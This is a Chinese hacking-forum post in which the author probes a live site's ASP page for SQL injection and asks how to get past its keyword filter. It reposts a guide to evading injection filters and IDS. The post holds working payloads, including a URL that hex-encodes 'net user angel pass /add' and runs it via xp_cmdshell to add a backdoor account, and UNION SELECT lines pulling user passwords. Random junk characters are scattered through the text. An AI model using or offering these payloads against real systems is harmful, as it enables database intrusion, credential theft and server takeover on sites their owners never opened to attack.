路过这个网站,检测了一下.
$ H! d/ S/ M0 n6 Fhttp://www.xxx.cn/Article.asp?ID=117 and 1=1, I! y2 P! V1 n! y+ c
直接返回主页
4 L( B1 [ m: n+ Yhttp://www.xxx.cn/Article.asp?ID=117 or 1=1% }) S2 }6 S+ Y: J" g# l
直接返回主页! n7 F1 E3 H+ |( m- b
http://www.xxx.cn/Article.asp?ID=117 or3 b7 S+ P' X" u( Y9 l! c+ K
没有返回主页 没有过滤or( ~* R* G: s# `2 H, [0 ~1 O) m
http://www.xxx.cn/Article.asp?ID=117 and
6 ^* {7 M6 G0 V0 S+ a5 B' w直接返回主页 看来过滤了and' ^% X8 g! ]) H! ?5 [* G! H2 M
http://www.xxx.cn/Article.asp?ID=117 or 1# T* X# Y9 [0 ~ c$ w; _
没有返回主页 即没有过滤or 也没有过滤1
T* Z/ F M N+ x# D& Xhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
, Z. U5 z7 P8 z M a直接返回主页 很明显过滤了等号
/ H( A/ v/ t; y/ p2 {9 wor的特性是与and相反的.7 _1 {; l- E5 m( M# @
or 1=1 爆错 或与原页面不同
9 W+ i% p- r! q' _or 1=2 原页面相同3 E! j+ G% e/ u" t
这样就是一个注入点0 ?0 f! s: G6 q2 R* n! M
但他过滤了=号 我就用><号代替=号吧!, `( n: e6 [. {' m: F+ R7 N
or 1<2 很明显是正确的,所以应该与原页面不同( P" c/ o8 @- w1 X$ X, X& E% A
or 1>2 很明显是错误的,所以应该与原页面相同) t( e$ E% Q. H% S! R
然后看看有没有过滤其他的查询语句,比如select./ f) e, _8 x/ o+ t
http://www.xxx.cn/Article.asp?ID=117 select
. a9 G {# z9 [5 K7 B6 E+ W& J% p直接返回主页) H0 ^: T1 P6 H4 D2 U' k
又迷茫了..
* [6 @5 U) j8 w0 R n! P' a- U6 V' U+ R5 @: N2 M
4 G: s" ^8 O# t7 N- j' b/ Zcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
$ Z J, m$ T5 V+ Z% X7 W这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧); I3 Y" i- y- H+ Q$ |2 H
================================================
9 W, e! z& N, g8 w1 t% _5 T以下是转贴:
A- C* s, y# O3 @) n& O% X0 q( E3 K( G
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
5 p4 A& g7 R9 H$ E经过我的收集,大部分的防注入程序都过滤了以下关键字:
+ {7 y' ?9 W |* H# v, _0 ~2 D1 p+ Tand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
5 T! S$ i; w2 F0 n+ F8 a P8 S而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
$ A0 m1 o& k% T. \, M+ Z3 o5 g对于关键字的过滤,以下是我收集的以及我个人的一些想法。 2 _0 Y4 W9 ]% `/ b; }$ o
1、运用编码技术绕过
4 O; `# ~3 o7 T如URLEncode编码,ASCII编码绕过。例如or 1=1即
- m* f2 {3 i( K4 [7 a1 o%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
; V+ f5 N! f2 _% d" ~- N% v
; `- J7 ]* K: a7 l+ j- G1 b2、通过空格绕过 / u8 f5 W/ I" Z. \/ Y C: y
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
: l0 l; r) E, w/ e" B- L; Y+ Nor’ swords’ =‘swords’ ! E2 M7 F: K/ ^! S
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
" T! m" P2 o6 `3、运用字符串判断代替 , g" [$ X+ t- k7 V" | B6 u4 o( z
用经典的or 1=1判断绕过,如
2 X# V! g4 ]+ F- Q6 nor ’swords’ =’swords’ - A, q( |- k: |
,这个方法就是网上在讨论的。
& p+ h$ ^3 k: P" Q4 o4 T" L4、通过类型转换修饰符N绕过
0 R, i' t1 A' }' f* a0 y可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 ; Y+ o( c2 [7 `- {) J
5、通过+号拆解字符串绕过
# c1 q- c3 ? c7 a效果值得考证,但毕竟是一种方法。如 5 I- l" q/ Y& v b4 P6 b2 j: j3 E
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) , U7 q7 @+ V& K4 ]2 W- b! Z6 M" B
, t- ]: A8 A8 ~2 u+ Q% x
6、通过LIKE绕过 ; Z$ F6 k3 Y+ ]' d- T2 d
以前怎么就没想到呢?如or : j3 H: M |2 ^3 `
’swords’ LIKE ’sw’
* H/ A9 @' R& q1 O!!!显然可以很轻松的绕过 3 x L! l7 Q+ g2 L0 V6 f6 K9 j
“=”“>” 4 }% m K/ d& P
的限制…… & d+ v; _ Z. P1 H7 R: A
7、通过IN绕过
" q# [; g/ T! I9 Y与上面的LIKE的思路差不多,如 4 ?: H4 M, O1 x6 L6 X% U
or ’swords’ IN (’swords’)
* t! o" D3 i' ^+ c+ u- P" B
2 o& z D" C" W+ n4 k; `& Y8 a: f$ V8、通过BETWEEN绕过 ' T; E3 J; l3 ~1 k# n& K& T
如 ! M' _' F1 L' Y) X) l: J
or ’swords’ BETWEEN ’rw’ AND ’tw’
( q5 y ?+ S5 ]$ P
" Q9 R2 m( F) {% \* q+ b9、通过>或者<绕过 + r$ e2 f& M% t6 j! c6 A
or ’swords’ > ’sw’ : I9 b5 o7 W1 }( ?- k) ^# L! R
or ’swords’ < ’tw’
B% U# m# h' v, Wor 1<3 ( F* K% {# U6 j
……
' G! a" f# X* e" o, K& ]# c) |! G10、运用注释语句绕过
$ X" y" ^; r# Q7 J" K3 T用/**/代替空格,如:
! q2 E* c: V! Q: a CUNION /**/ Select /**/user,pwd,from tbluser 5 U0 ^# d+ W" E3 y
% N0 Z5 O1 b. I用/**/分割敏感词,如:
3 ^6 K# p- b9 Y6 ~( g0 }U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
7 z. W; P. v/ x: \9 A
, g) m0 d: x3 V7 ~6 L* Q, s11、用HEX绕过,一般的IDS都无法检测出来 $ }5 f$ o3 W" B' m6 H( C, z- d# w
0x730079007300610064006D0069006E00 =hex(sysadmin)
& F6 l/ k* T, p, y- {+ y& k0x640062005F006F0077006E0065007200 =hex(db_owner)
( O' P) v! ~6 E3 l6 X, J另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
0 k: J; t1 v8 K/ K7 X0 ~ declare @a sysname ' H- E/ R/ z) ?+ ?+ P
select @a=
O9 w: }# U7 `2 E. b exec master.dbo.xp_cmdshell @a
6 e2 a% U7 b& y8 D4 f& q$ k效果 $ B6 Z; x8 j+ H
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
) L' O( {0 b+ P! k' x* t8 e0 ?9 r; f" B: h# B) B: J
其中的 + _, Z# y9 G, e* I5 h
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 + m- @1 Q" A. |8 Q' g' U
就是
; t [+ P3 z( Y“net user angel pass /add”
, P4 L5 Q( x7 @) w7 _( e5 Z3 i8 y# y p9 o# h2 o
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
& |4 x+ f4 Y4 k M" m; J3 M5 k: x引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。# P1 ~0 M3 I$ u( `( b
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
" e8 W6 H# N4 V0 y# o: @Copy code0 f0 B# Z% ^1 w& ^. A! A. g0 ^
select * from table exec xp_cmdshell'xxxxxxxxxx'! D& a, F/ a; J
; T5 l0 }- `1 K2 S0 _* O
& ~9 Y: Z7 a& T, `; jselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
, }) l* z/ s, X ]- j H+ l: [ G% p* F# u' A& l- f
4 H5 J G+ w* L6 }: W
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
: F$ W$ q$ E' u& o9 Z! o0 Z3 `" \' Q5 r. q- A6 u& f
1 U. u' o: l* p" cselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
2 q% v0 ?* {3 }$ F" O- e* T
4 U$ g2 D3 c! t0 c+ D的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
' o4 S% y! w5 q2 f9 n% {
0 i+ y0 a" s# m6 ~( @: X这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了- V. y7 O4 |7 g1 G) e( z7 O/ p5 Z
可能大家早就知道了,不管怎么说,发在这里吧!$ p/ z# M6 I& k
: ^, @7 ?* d4 H* S7 w最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
( b1 W3 y% n( `! W3 j+ _
+ U! p2 y) R6 N% m3 u$ W7 Y8 i! K5 `; `- H* B' q
2 e2 f8 \: k- V9 t4 v0 ]% S$ w对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
- M6 r% n! o2 P8 _* I, Q: q& Q- P$ m比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
5 Z f, K0 E# h, ?. r, {! Z, ]6 u$ x7 U1 ?" e. d
|